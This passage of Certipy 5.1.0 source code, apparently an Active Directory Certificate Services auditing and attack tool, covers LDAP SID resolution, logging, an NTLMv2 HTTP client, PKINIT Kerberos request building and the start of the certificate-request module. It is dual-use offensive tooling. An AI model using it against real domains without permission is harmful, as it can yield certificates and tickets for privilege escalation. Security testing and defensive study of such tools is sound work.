len(results) != 1: return None result = results[0] domain_sid = result.get("objectSid") # Cache the result self._domain_sid = domain_sid return domain_sid def get_user_sids( self, username: str, user_sid: Optional[str] = None, user_dn: Optional[str] = None, ) -> Set[str]: """ Get all SIDs associated with a user, including groups. This method collects all security identifiers (SIDs) that apply to a user, including the user's personal SID, well-known SIDs, primary group SID, and all group memberships (direct and nested). Args: username: Username to look up user_sid: Optional SID to use if user lookup fails user_dn: Optional DN to use if user lookup fails Returns: Set of SIDs the user belongs to """ # Return cached value if available sanitized_username = username.lower().strip() if sanitized_username in self._user_sids: return self._user_sids[sanitized_username] # Get user object or create minimal one if not found user = self.get_user(username) if not user: user = {"objectSid": user_sid, "distinguishedName": user_dn} if not user_sid: logging.warning( "User SID can't be retrieved. For more accurate results, add it manually with -sid" ) # Start with basic SIDs sids: Set[str] = set() # Add user's own SID object_sid = user.get("objectSid") if object_sid: sids.add(object_sid) # Add well-known SIDs: Everyone, Authenticated Users, Users sids |= {"S-1-1-0", "S-1-5-11", "S-1-5-32-545"} # Add primary group (usually Domain Users) primary_group_id = user.get("primaryGroupID") if primary_group_id is not None and self.domain_sid: sids.add(f"{self.domain_sid}-{primary_group_id}") # Add Domain Users and Domain Computers group if self.domain_sid: logging.debug( "Adding 'Domain Users' and 'Domain Computers' to list of current user's SIDs" ) sids.add(f"{self.domain_sid}-513") # Domain Users sids.add(f"{self.domain_sid}-515") # Domain Computers # Collect DNs to search for group membership dns = [user.get("distinguishedName")] for sid in sids: object_entry = self.lookup_sid(sid) if "dn" in object_entry: dns.append(object_entry["dn"]) # Build LDAP query for nested group membership (LDAP_MATCHING_RULE_IN_CHAIN) member_of_queries = [] for dn in dns: if dn: # Skip None values member_of_queries.append(f"(member:1.2.840.113556.1.4.1941:={dn})") if member_of_queries: try: # Query for nested group membership groups = self.search( f"(|{''.join(member_of_queries)})", attributes="objectSid", ) # Add all group SIDs to the set for group in groups: sid = group.get("objectSid") if sid is not None: sids.add(sid) except Exception as e: logging.warning(f"Failed to get user SIDs: {e}") logging.warning("Try increasing -timeout parameter value") handle_error(True) # Cache the results self._user_sids[sanitized_username] = sids # Debug output of collected SIDs logging.debug(f"User {username!r} has {len(sids)} SIDs:") for sid in sids: logging.debug(f" {sid}") return sids def lookup_sid(self, sid: str) -> LDAPEntry: """ Look up an object by its SID. This method finds an Active Directory object by its security identifier, or returns a synthetic entry for well-known SIDs. Args: sid: Security identifier to look up Returns: LDAPEntry for the object, or a synthetic entry for well-known SIDs Raises: Exception: If LDAP connection is not established """ # Return cached value if available if sid in self.sid_map: return self.sid_map[sid] # Handle well-known SIDs if sid in WELLKNOWN_SIDS: if self.domain is None and not self.warned_missing_domain_sid_lookup: self.warned_missing_domain_sid_lookup = True logging.warning( "Domain is not set for LDAP connection. This may cause issues when looking up SIDs" ) # Create synthetic entry for well-known SID entry = LDAPEntry( **{ "attributes": { "objectSid": f"{(self.domain or '').upper()}-{sid}", "objectType": WELLKNOWN_SIDS[sid][1].capitalize(), "name": f"{self.domain}\\{WELLKNOWN_SIDS[sid][0]}", } } ) self.sid_map[sid] = entry return entry # For regular SIDs, query the directory attributes = [ "sAMAccountType", "name", "objectSid", "distinguishedName", "objectClass", ] if self.ldap_conn is None: raise Exception("LDAP connection is not established") # Only request msDS-GroupMSAMembership when it exists in the schema if ( self.ldap_conn.server.schema and "msDS-GroupMSAMembership" in self.ldap_conn.server.schema.attribute_types ): attributes.append("msDS-GroupMSAMembership") # Search for object with the given SID results = self.search( f"(objectSid={sid})", attributes=attributes, ) # Handle results if len(results) != 1: logging.warning(f"Failed to lookup object with SID {sid!r}") # Create synthetic entry for unknown SID entry = LDAPEntry( **{ "attributes": { "objectSid": sid, "name": sid, "objectType": "Unknown", } } ) else: # Process found entry entry = results[0] entry.set("name", f"{self.domain}\\{entry.get('name')}") entry.set("objectType", get_account_type(entry)) # Cache the result self.sid_map[sid] = entry return entry Certipy-5.1.0/certipy/lib/logger.py000077500000000000000000000071461521657466500172460ustar00rootroot00000000000000""" Custom logging configuration for Certipy. This module provides specialized logging formatters and initialization functions for consistent log output across the Certipy application. """ import logging as _logging import sys from typing import Dict # from impacket.examples import logger as _impacket_logger _IS_VERBOSE = False # Flag to control verbosity of logging output def set_verbose(is_verbose: bool) -> None: """ Set the verbosity level for logging. Args: is_verbose: Boolean indicating whether to enable verbose logging """ global _IS_VERBOSE _IS_VERBOSE = is_verbose # type: ignore def is_verbose() -> bool: """ Check if verbose logging is enabled. Returns: Boolean indicating whether verbose logging is enabled """ return _IS_VERBOSE # Bullet point mapping for different log levels BULLET_POINTS: Dict[int, str] = { _logging.INFO: "[*]", _logging.DEBUG: "[+]", _logging.WARNING: "[!]", _logging.ERROR: "[-]", _logging.CRITICAL: "[-]", } class Formatter(_logging.Formatter): """ Custom formatter that adds bullet-point indicators based on log level. Formats log messages with the following bullet points: - INFO: [*] - Informational messages about normal operation - DEBUG: [+] - Detailed debugging information - WARNING: [!] - Warning about potential issues - ERROR: [-] - Error conditions preventing normal operation - CRITICAL:[-] - Critical failure requiring immediate attention """ def __init__(self) -> None: """ Initialize the formatter with a simple format string. The format uses a custom 'bullet' attribute added during formatting. """ super().__init__("%(bullet)s %(message)s") def format(self, record: _logging.LogRecord) -> str: """ Format the log record by adding an appropriate bullet point. Args: record: The log record to format Returns: Formatted log message with bullet point prefix """ # Add bullet point based on log level, defaulting to "[-]" for unknown levels record.bullet = BULLET_POINTS.get(record.levelno, "[-]") # Call parent formatter to apply the format string return super().format(record) def init( level: int = _logging.INFO, logger_name: str = "certipy", propagate: bool = False ) -> None: """ Initialize the Certipy logger with the appropriate formatter. Args: level: Log level to set (default: INFO) logger_name: Name of the logger to configure (default: "certipy") propagate: Whether to propagate logs to parent loggers (default: False) Note: This function configures a logger that: - Outputs to stdout with bullet-point prefixed messages - Has the specified log level (INFO by default) - Can be isolated from parent loggers (default behavior) Example: # Standard initialization init() # Initialize with debug level init(level=logging.DEBUG) """ # Create stdout handler handler = _logging.StreamHandler(sys.stdout) # Apply the custom formatter handler.setFormatter(Formatter()) # Configure the logger logger = _logging.getLogger(logger_name) # Remove existing handlers if any (to avoid duplicates on re-initialization) if logger.handlers: logger.handlers.clear() # Add the new handler logger.addHandler(handler) logger.setLevel(level) logger.propagate = propagate # Create and export the logger instance for direct import logging = _logging.getLogger("certipy") Certipy-5.1.0/certipy/lib/ntlm.py000066400000000000000000000450211521657466500167300ustar00rootroot00000000000000import base64 import calendar import random import string import struct import time from typing import Generator, Optional, Tuple, cast import httpx from Cryptodome.Cipher import ARC4 from impacket.ntlm import ( AV_PAIRS, KXKEY, MAC, NTLMSSP_AV_DNS_HOSTNAME, NTLMSSP_AV_TARGET_NAME, NTLMSSP_AV_TIME, NTLMSSP_NEGOTIATE_56, NTLMSSP_NEGOTIATE_128, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_NTLM, NTLMSSP_NEGOTIATE_SEAL, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_TARGET_INFO, NTLMSSP_NEGOTIATE_UNICODE, NTLMSSP_NEGOTIATE_VERSION, NTLMSSP_REQUEST_TARGET, SEAL, SEALKEY, SIGNKEY, NTLMAuthChallenge, NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMMessageSignature, NTOWFv2, generateEncryptedSessionKey, hmac_md5, ) from impacket.spnego import SPNEGO_NegTokenResp from certipy.lib.channel_binding import get_channel_binding_data_from_response from certipy.lib.http import get_authentication_method from certipy.lib.logger import logging from certipy.lib.target import Target # Constants NTLMSSP_AV_CHANNEL_BINDINGS = 0x0A DEFAULT_USER_AGENT = "Certipy" DEFAULT_SERVICE = "HTTP" def compute_response( server_challenge: bytes, client_challenge: bytes, target_info: bytes, domain: str, user: str, password: str, nt_hash: str = "", channel_binding_data: Optional[bytes] = None, service: str = "HOST", ) -> Tuple[bytes, bytes, bytes, bytes]: """ Compute NTLMv2 response based on the provided parameters. Args: server_challenge: Challenge received from the server client_challenge: Client-generated random challenge target_info: Target information provided by the server domain: Domain name for authentication user: Username for authentication password: Password for authentication nt_hash: NT hash if available, otherwise password will be used channel_binding_data: Channel binding data for EPA compliance service: Service name for the SPN Returns: Tuple containing: - NT challenge response - LM challenge response - Session base key - Target hostname Raises: ValueError: If target information is missing DNS hostname """ # Generate response key response_key_nt = NTOWFv2(user, password, domain, bytes.fromhex(nt_hash) if nt_hash else "") # type: ignore av_pairs = AV_PAIRS(target_info) # Add SPN (target name) if av_pairs[NTLMSSP_AV_DNS_HOSTNAME] is None: raise ValueError("NTLMSSP_AV_DNS_HOSTNAME not found in target info") hostname = cast(Tuple[int, bytes], av_pairs[NTLMSSP_AV_DNS_HOSTNAME])[1] spn = f"{service}/".encode("utf-16le") + hostname av_pairs[NTLMSSP_AV_TARGET_NAME] = spn # Add timestamp if not already present if av_pairs[NTLMSSP_AV_TIME] is None: timestamp = struct.pack( " NTLMAuthNegotiate: """ Generate an NTLMSSP Type 1 negotiation message. Args: signing_required: Whether signing is required for the connection use_ntlmv2: Whether to use NTLMv2 (should be True for modern systems) version: OS version to include in the message Returns: NTLMAuthNegotiate object representing the Type 1 message """ # Create base negotiate message with standard flags auth = NTLMAuthNegotiate() auth["flags"] = ( NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY | NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_REQUEST_TARGET | NTLMSSP_NEGOTIATE_128 | NTLMSSP_NEGOTIATE_56 ) # Add security flags if signing is required if signing_required: auth["flags"] |= ( NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_SIGN | NTLMSSP_NEGOTIATE_ALWAYS_SIGN | NTLMSSP_NEGOTIATE_SEAL ) # Add NTLMv2 target info flag if use_ntlmv2: auth["flags"] |= NTLMSSP_NEGOTIATE_TARGET_INFO # Add version if specified if version: auth["flags"] |= NTLMSSP_NEGOTIATE_VERSION auth["os_version"] = version return auth def ntlm_authenticate( type1: NTLMAuthNegotiate, challenge: NTLMAuthChallenge, user: str, password: str, domain: str, nt_hash: str = "", channel_binding_data: Optional[bytes] = None, service: str = "HOST", version: Optional[bytes] = None, ) -> Tuple[NTLMAuthChallengeResponse, bytes, int]: """ Generate an NTLMSSP Type 3 authentication message in response to a server challenge. Args: type1: The Type 1 negotiate message that was sent challenge: The Type 2 challenge message received from the server user: Username for authentication password: Password for authentication domain: Domain name for authentication nt_hash: NT hash if available, otherwise password will be used channel_binding_data: Channel binding data for EPA compliance service: Service name for the SPN version: OS version to include in the message Returns: Tuple containing: - NTLMAuthChallengeResponse object (Type 3 message) - Exported session key for further operations - Negotiated flags """ # Get response flags from the initial negotiate message response_flags = type1["flags"] # Generate client challenge (8 random bytes) client_challenge = struct.pack(" Generator[httpx.Request, httpx.Response, None]: """ Implement the authentication flow for HTTPX. This generator handles the NTLM authentication protocol flow by: 1. Sending the initial request 2. If authentication is required, starting the NTLM flow 3. Completing the NTLM handshake Args: request: The HTTPX request to authenticate Yields: Modified requests with appropriate authentication headers Raises: ValueError: If authentication fails or server responses are invalid """ # Set connection to keep-alive to maintain the authentication state request.headers["Connection"] = "Keep-Alive" # Send the initial request response = yield request # If server requires authentication, proceed with the NTLM flow if response.status_code in (401, 407): yield from self.retry_with_auth(request, response) def retry_with_auth( self, request: httpx.Request, response: httpx.Response ) -> Generator[httpx.Request, httpx.Response, None]: """ Retry the request with NTLM authentication. Implements the complete NTLM authentication flow: 1. Send Type 1 (Negotiate) message 2. Process Type 2 (Challenge) message from server 3. Send Type 3 (Authenticate) message Args: request: The original HTTPX request response: The HTTPX response requiring authentication Yields: Modified requests with appropriate authentication headers Raises: ValueError: If authentication fails or server responses are invalid """ # Determine header names based on status code (proxy vs direct) is_proxy_auth = response.status_code == 407 authenticate_header_name = ( "Proxy-Authenticate" if is_proxy_auth else "WWW-Authenticate" ) authorization_header_name = ( "Proxy-Authorization" if is_proxy_auth else "Authorization" ) # Check if server sent authentication challenge authenticate_header = response.headers.get(authenticate_header_name) if authenticate_header is None: raise ValueError("No authentication challenge returned from server") # Step 1: Generate Type 1 (Negotiate) message type1 = ntlm_negotiate() # Get the authentication method (NTLM, Negotiate, etc.) authentication_method = get_authentication_method(authenticate_header) # Encode Type 1 message auth = base64.b64encode(type1.getData()).decode() # Add Type 1 message to request header request.headers[authorization_header_name] = f"{authentication_method} {auth}" # Send request with Type 1 message response = yield request # Handle cookies if present if response.headers.get("Set-Cookie") is not None: request.headers["Cookie"] = response.headers["Set-Cookie"] # Get Type 2 (Challenge) message from server authenticate_header = response.headers.get(authenticate_header_name) if authenticate_header is None: raise ValueError("No authentication challenge returned from server") # Extract the server challenge from the authentication header try: # Find the challenge portion of the header server_challenge_base64 = next( s.strip()[len(authentication_method) :] for s in (val.lstrip() for val in authenticate_header.split(",")) if s.startswith(authentication_method) ).strip() except Exception: raise ValueError( f"Failed to parse authentication header: {authenticate_header!r}" ) # Decode the challenge try: server_challenge = base64.b64decode(server_challenge_base64) except Exception as e: raise ValueError( f"Failed to decode server challenge: {authenticate_header!r} - {e}" ) # Check if challenge is wrapped in SPNEGO if ( server_challenge and struct.unpack("B", server_challenge[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP ): resp = SPNEGO_NegTokenResp(server_challenge) type2 = resp["ResponseToken"] else: type2 = server_challenge if not type2: # This means that the server is not using NTLM # and we should not continue with NTLM authentication logging.debug( "Server did not return a valid NTLM challenge. The server may have disabled NTLM authentication." ) raise NtlmNotSupportedError("Server did not return a valid NTLM challenge.") # Parse Type 2 message challenge = NTLMAuthChallenge() try: challenge.fromString(type2) except Exception as e: raise ValueError( f"Failed to parse server challenge: {authenticate_header!r} - {e}" ) # Get channel binding data if enabled channel_binding_data: Optional[bytes] = None if self.channel_binding: channel_binding_data = get_channel_binding_data_from_response(response) # Step 3: Generate Type 3 (Authentication) message type3, _, _ = ntlm_authenticate( type1, challenge, self.target.username, self.target.password or "", self.target.domain, self.target.nthash, channel_binding_data=channel_binding_data, service=self.service, ) # Encode and add Type 3 message to request auth = base64.b64encode(type3.getData()).decode() request.headers[authorization_header_name] = f"{authentication_method} {auth}" # Send authenticated request yield request class NTLMCipher: def __init__(self, flags: int, session_key: bytes): self.flags = flags # Same key for everything self.client_sign_key = session_key self.server_sign_key = session_key self.client_seal_key = session_key self.client_seal_key = session_key cipher = ARC4.new(self.client_sign_key) self.client_seal = cipher.encrypt self.server_seal = cipher.encrypt if self.flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: self.client_sign_key = cast(bytes, SIGNKEY(self.flags, session_key)) self.server_sign_key = cast( bytes, SIGNKEY(self.flags, session_key, "Server") ) self.client_seal_key = SEALKEY(self.flags, session_key) self.server_seal_key = SEALKEY(self.flags, session_key, "Server") client_cipher = ARC4.new(self.client_seal_key) self.client_seal = client_cipher.encrypt server_cipher = ARC4.new(self.server_seal_key) self.server_seal = server_cipher.encrypt self.sequence = 0 def encrypt(self, plain_data: bytes) -> Tuple[NTLMMessageSignature, bytes]: message, signature = SEAL( self.flags, self.client_sign_key, self.client_seal_key, plain_data, plain_data, self.sequence, self.client_seal, ) self.sequence += 1 return signature, message def decrypt(self, answer: bytes) -> Tuple[NTLMMessageSignature, bytes]: answer, signature = SEAL( self.flags, self.server_sign_key, self.server_seal_key, answer[:16], answer[16:], self.sequence, self.server_seal, ) return signature, answer def sign(self, data: bytes, seq: int = 0, reset_cipher: bool = False): signature = MAC(self.flags, self.client_seal, self.client_sign_key, seq, data) if reset_cipher: if self.flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: client_cipher = ARC4.new(self.client_seal_key) self.client_seal = client_cipher.encrypt server_cipher = ARC4.new(self.server_seal_key) self.server_seal = server_cipher.encrypt else: cipher = ARC4.new(self.client_sign_key) self.client_seal = cipher.encrypt self.server_seal = cipher.encrypt self.sequence += 1 return signature Certipy-5.1.0/certipy/lib/pkinit.py000077500000000000000000000232421521657466500172600ustar00rootroot00000000000000""" PKINIT implementation for Kerberos authentication. This module provides functionality for Public Key Cryptography for Initial Authentication in Kerberos (PKINIT), allowing certificate-based authentication to Kerberos services. It implements: - Certificate signing and verification - Diffie-Hellman key exchange - Authentication request generation References: - RFC 4556: PKINIT specification - MS-PKCA: Public Key Cryptography for Initial Authentication """ import datetime import os from random import getrandbits from typing import Dict, Tuple, Union from asn1crypto import algos as asn1algos from asn1crypto import cms as asn1cms from asn1crypto import keys as asn1keys from asn1crypto import x509 as asn1x509 from impacket.krb5 import constants from certipy.lib.certificate import ( cert_to_der, hash_digest, hashes, rsa, rsa_pkcs1v15_sign, x509, ) from certipy.lib.structs import ( AsReq, AuthPack, EncType, KDCOptions, KdcReqBody, NameType, PaPacRequest, PaPkAsReq, PKAuthenticator, PrincipalName, e2i, ) # ========================================================================= # Constants and Defaults # ========================================================================= # Well-Known Group 2: A 1024-bit prime # Source: https://datatracker.ietf.org/doc/html/rfc2412#appendix-E.2 DH_PARAMS = { "p": int( ( "00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea6" "3b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e4" "85b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b" "1fe649286651ece65381ffffffffffffffff" ), 16, ), "g": 2, } # OIDs used in PKINIT PKINIT_OID = "1.3.6.1.5.2.3.1" CMS_SIGNED_DATA_OID = "1.2.840.113549.1.7.2" DH_KEY_AGREEMENT_OID = "1.2.840.10046.2.1" # ========================================================================= # Diffie-Hellman Implementation # ========================================================================= class DirtyDH: """ Lightweight Diffie-Hellman key exchange implementation. This class supports: - Creating DH parameters from various sources - Generating public keys - Computing shared secrets """ def __init__(self, p: int, g: int): """Initialize a new DH instance with random private key.""" self.p = p self.g = g self.private_key = os.urandom(32) self.private_key_int = int.from_bytes(self.private_key, byteorder="big") self.dh_nonce = os.urandom(32) @staticmethod def from_dict(dhp: Dict[str, int]) -> "DirtyDH": """ Create a DH instance from a dictionary of parameters. Args: dhp: Dictionary containing 'p' and 'g' keys Returns: Configured DH instance """ dd = DirtyDH(dhp["p"], dhp["g"]) return dd def get_public_key(self) -> int: """ Calculate the public key. Returns: Public key value (g^x mod p) Raises: ValueError: If p and g are not set """ # y = g^x mod p return pow(self.g, self.private_key_int, self.p) def exchange(self, peer_public_key: int) -> bytes: """ Perform key exchange with peer's public key. Args: peer_public_key: Peer's public key value Returns: The shared secret as bytes """ shared_key_int = pow(peer_public_key, self.private_key_int, self.p) # Convert to bytes, ensuring even length hex_key = hex(shared_key_int)[2:] if len(hex_key) % 2 != 0: hex_key = "0" + hex_key shared_key = bytes.fromhex(hex_key) return shared_key # ========================================================================= # PKINIT Functions # ========================================================================= def sign_authpack( data: bytes, key: rsa.RSAPrivateKey, cert: Union[x509.Certificate, asn1x509.Certificate], ) -> bytes: """ Create a signed CMS structure containing the AuthPack. Args: data: The AuthPack data to sign key: RSA private key for signing cert: Certificate to include in the signed data Returns: ASN.1 DER encoded CMS signed data """ # Convert certificate to asn1crypto format if needed if isinstance(cert, x509.Certificate): cert = asn1x509.Certificate.load(cert_to_der(cert)) # Create digest algorithm identifier for SHA-1 digest_algorithm = {"algorithm": asn1algos.DigestAlgorithmId("sha1")} # Create signer info signer_info = { "version": "v1", "sid": asn1cms.IssuerAndSerialNumber( { "issuer": cert.issuer, "serial_number": cert.serial_number, } ), "digest_algorithm": asn1algos.DigestAlgorithm(digest_algorithm), "signed_attrs": [ asn1cms.CMSAttribute({"type": "content_type", "values": [PKINIT_OID]}), asn1cms.CMSAttribute( {"type": "message_digest", "values": [hash_digest(data, hashes.SHA1)]} ), ], "signature_algorithm": asn1algos.SignedDigestAlgorithm( {"algorithm": "sha1_rsa"} ), "signature": bytes(), } # Create the signature signer_info["signature"] = rsa_pkcs1v15_sign( asn1cms.CMSAttributes(signer_info["signed_attrs"]).dump(), key, hash_algorithm=hashes.SHA1, ) # Create encapsulated content info encapsulated_content_info = {"content_type": PKINIT_OID, "content": data} # Create the signed data structure signed_data = { "version": "v3", "digest_algorithms": [asn1algos.DigestAlgorithm(digest_algorithm)], "encap_content_info": asn1cms.EncapsulatedContentInfo( encapsulated_content_info ), "certificates": [cert], "signer_infos": asn1cms.SignerInfos([asn1cms.SignerInfo(signer_info)]), } # Create the content info wrapper content_info = { "content_type": CMS_SIGNED_DATA_OID, "content": asn1cms.SignedData(signed_data), } # Return DER-encoded ContentInfo return asn1cms.ContentInfo(content_info).dump() def build_pkinit_as_req( username: str, domain: str, key: rsa.RSAPrivateKey, cert: x509.Certificate ) -> Tuple[bytes, DirtyDH]: """ Build a PKINIT AS-REQ message. Args: username: Client username domain: Domain/realm name key: RSA private key for signing cert: Client certificate Returns: A tuple containing: - The encoded AS-REQ message - The DirtyDH object for later key exchange """ # Get current time now = datetime.datetime.now(datetime.timezone.utc) # Build KDC-REQ-BODY kdc_req_body_data = { "kdc-options": KDCOptions({"forwardable", "renewable", "renewable-ok"}), "cname": PrincipalName( {"name-type": NameType.PRINCIPAL, "name-string": [username]} ), "realm": domain.upper(), "sname": PrincipalName( { "name-type": NameType.SRV_INST, "name-string": ["krbtgt", domain.upper()], } ), "till": (now + datetime.timedelta(days=1)).replace(microsecond=0), "rtime": (now + datetime.timedelta(days=1)).replace(microsecond=0), "nonce": getrandbits(31), "etype": [EncType.AES256, EncType.AES128], # Prefer stronger ciphers } kdc_req_body = KdcReqBody(kdc_req_body_data) # Calculate checksum of the KDC-REQ-BODY checksum = hash_digest(kdc_req_body.dump(), hashes.SHA1) # Build PKAuthenticator authenticator = { "cusec": now.microsecond, "ctime": now.replace(microsecond=0), "nonce": getrandbits(31), "paChecksum": checksum, } # Set up Diffie-Hellman diffie = DirtyDH.from_dict(DH_PARAMS) # Create DH domain parameters structure dh_params = { "p": diffie.p, "g": diffie.g, "q": 0, # Not used but required by some implementations } # Create public key algorithm identifier for DH public_key_algorithm = { "algorithm": DH_KEY_AGREEMENT_OID, "parameters": asn1keys.DomainParameters(dh_params), } # Create subject public key info structure subject_public_key_info = { "algorithm": asn1keys.PublicKeyAlgorithm(public_key_algorithm), "public_key": diffie.get_public_key(), } # Build AuthPack authpack_data = { "pkAuthenticator": PKAuthenticator(authenticator), "clientPublicValue": asn1keys.PublicKeyInfo(subject_public_key_info), "clientDHNonce": diffie.dh_nonce, } # Encode and sign the AuthPack authpack = AuthPack(authpack_data) signed_authpack = sign_authpack(authpack.dump(), key, cert) # Build PA-PK-AS-REQ pa_pk_as_req = PaPkAsReq() pa_pk_as_req["signedAuthPack"] = signed_authpack # Prepare PA-DATA entries # PA-PAC-REQUEST to request a PAC pa_data_pac = { "padata-type": e2i(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST), "padata-value": PaPacRequest({"include-pac": True}).dump(), } # PA-PK-AS-REQ for PKINIT pa_data_pk = { "padata-type": e2i(constants.PreAuthenticationDataTypes.PA_PK_AS_REQ), "padata-value": pa_pk_as_req.dump(), } # Build AS-REQ asreq = { "pvno": 5, # Kerberos version 5 "msg-type": 10, # AS-REQ "padata": [pa_data_pac, pa_data_pk], "req-body": kdc_req_body, } # Return the encoded AS-REQ and the Diffie-Hellman object return AsReq(asreq).dump(), diffie Certipy-5.1.0/certipy/lib/registry.py000066400000000000000000000143351521657466500176320ustar00rootroot00000000000000""" Registry module for Certipy. This module provides functionality for working with registry-like entries and connections that can map between security identifiers (SIDs) and their corresponding objects. It supports: - Looking up well-known SIDs and RIDs - Tracking user security identifiers - Mapping between SIDs and friendly names The primary classes are: - RegEntry: Represents a registry-like entry with attributes - RegConnection: Manages SID resolution and mapping """ from typing import Dict, List, Optional, Union from certipy.lib.bloodhound import BloodHound, BloodHoundError from certipy.lib.constants import WELLKNOWN_RIDS, WELLKNOWN_SIDS from certipy.lib.ldap import LDAPEntry class RegEntry(LDAPEntry): """ Registry entry class that extends LDAPEntry to provide registry-specific functionality. This class represents an object in the registry with attributes similar to LDAP entries. It handles data type conversions and provides attribute access methods. """ def __init__(self, *args, **kwargs) -> None: # type: ignore """ Initialize a registry entry. Args: **kwargs: Key-value pairs to initialize the entry with """ super().__init__(self, *args, **kwargs) if "attributes" not in self: self["attributes"] = {} def get_raw(self, key: str) -> Union[bytes, List[bytes], None]: """ Get a raw (bytes) representation of an attribute value. Args: key: The attribute name to retrieve Returns: Raw data as bytes, list of bytes, or None if not found Notes: - String values are encoded to bytes - List values have each item encoded to bytes - Other values are returned as-is """ data = self.get(key) if isinstance(data, str): return data.encode() elif isinstance(data, list): return [x.encode() if isinstance(x, str) else x for x in data] return data class RegConnection: """ Registry connection class that manages SID mapping and resolution. This class provides functionality to: - Track user SIDs - Look up SIDs to find corresponding objects - Map between SIDs and their friendly names """ def __init__( self, domain: str, sids: List[str], scheme: str = "file", bloodhound: Optional[BloodHound] = None, ) -> None: """ Initialize a registry connection. Args: domain: Domain name for the connection sids: List of security identifiers to track scheme: Connection scheme, defaults to "file" """ self.domain: str = domain self.sids: List[str] = sids self.sid_map: Dict[str, RegEntry] = {} self.scheme: str = scheme self.bloodhound: Optional[BloodHound] = bloodhound def get_user_sids( self, _username: str, _user_sid: Optional[str] = None, _user_dn: Optional[str] = None, ) -> List[str]: """ Get user security identifiers. Args: _username: Username (not used in this implementation) _user_sid: User's primary SID (not used in this implementation) _user_dn: User's distinguished name (not used in this implementation) Returns: List of SIDs associated with this connection Notes: The parameters are kept for API compatibility but not used. This implementation simply returns the SIDs provided at initialization. """ return self.sids def lookup_sid(self, sid: str) -> RegEntry: """ Look up a security identifier and return corresponding registry entry. Args: sid: Security identifier to look up Returns: RegEntry object representing the SID Notes: - Checks cached entries first - Then checks well-known SIDs - Then checks well-known RIDs - Finally creates a base entry if not found elsewhere """ # Check if we've already cached this SID if sid in self.sid_map: return self.sid_map[sid] # Check well-known SIDs if sid in WELLKNOWN_SIDS: name, obj_type = WELLKNOWN_SIDS[sid] entry = RegEntry( **{ "attributes": { "objectSid": f"{self.domain.upper()}-{sid}", "objectType": obj_type.capitalize(), "name": f"{self.domain}\\{name}", } } ) self.sid_map[sid] = entry return entry # Check if this is a well-known RID rid = sid.split("-")[-1] if rid in WELLKNOWN_RIDS: name, obj_type = WELLKNOWN_RIDS[rid] entry = RegEntry( **{ "attributes": { "objectSid": f"{self.domain.upper()}-{sid}", "objectType": obj_type.capitalize(), "name": f"{self.domain}\\{name}", } } ) self.sid_map[sid] = entry return entry if self.bloodhound: try: name, obj_type = self.bloodhound.lookup_sid(sid) entry = RegEntry( **{ "attributes": { "objectSid": f"{self.domain.upper()}-{sid}", "objectType": obj_type.capitalize(), "name": f"{self.domain}\\{name}", } } ) self.sid_map[sid] = entry return entry except BloodHoundError: # Entry was not found pass # Create a generic entry for unknown SIDs entry = RegEntry( **{ "attributes": { "objectSid": sid, "name": sid, "objectType": "Base", } } ) # Cache this entry for future lookups self.sid_map[sid] = entry return entry Certipy-5.1.0/certipy/lib/req.py000066400000000000000000001405431521657466500165520ustar00rootroot00000000000000""" Certificate Request and Management Functions for Certipy This module implements certificate request, retrieval, and management functionality for Certipy, providing both RPC and web-based interactions with Active Directory Certificate Services (AD CS). The module handles: - Certificate request submission (RPC, DCOM and web enrollment) - Certificate retrieval for both immediate and pending requests - Certificate storage and management (saving as PFX or PEM) - Error handling for various certificate operations Key components: 1. Request Class - Main interface for all certificate operations 2. Request Interfaces - Protocol-specific implementations (RPC, DCOM, Web) 3. Response Handlers - Process responses from certificate services 4. Certificate Processing - Handle certificate data once received 5. Helper Functions - Utility functions for common operations """ import re from typing import Any, Dict, List, Optional, Protocol, Tuple, Union import httpx from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes from impacket.dcerpc.v5 import rpcrt from impacket.dcerpc.v5.dcom.oaut import string_to_bin from impacket.dcerpc.v5.dcomrt import DCOMANSWER, DCOMCALL, DCOMConnection, IRemUnknown2 from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, NULL, PBYTE, ULONG from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT from impacket.dcerpc.v5.nrpc import checkNullString from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.uuid import uuidtup_to_bin from certipy.commands.ca import CA, ICertCustom from certipy.lib.certificate import ( cert_id_to_parts, cert_to_der, cert_to_pem, create_csr, create_csr_attributes, create_key_archival, create_on_behalf_of, create_pfx, create_renewal, csr_to_der, csr_to_pem, der_to_cert, der_to_csr, der_to_pem, get_identities_from_certificate, get_object_sid_from_certificate, key_to_pem, load_pfx, pem_to_cert, pem_to_key, print_certificate_identities, rsa, x509, ) from certipy.lib.constants import OID_TO_STR_NAME_MAP, USER_AGENT from certipy.lib.errors import handle_error, translate_error_code from certipy.lib.files import try_to_save_file from certipy.lib.kerberos import HttpxKerberosAuth from certipy.lib.logger import is_verbose, logging from certipy.lib.ntlm import HttpxNtlmAuth from certipy.lib.rpc import get_dce_rpc, get_dcom_connection from certipy.lib.target import Target # ========================================================================= # Constants and protocol UUIDs # ========================================================================= # MS-ICPR protocol UUID MSRPC_UUID_ICPR = uuidtup_to_bin(("91ae6020-9e3c-11cf-8d7c-00aa00c091be", "0.0")) # DCOM interface identifiers CLSID_ICertRequest = string_to_bin("D99E6E74-FC88-11D0-B498-00A0C90312F3") IID_ICertRequestD = uuidtup_to_bin(("D99E6E70-FC88-11D0-B498-00A0C90312F3", "0.0")) # Certificate disposition codes 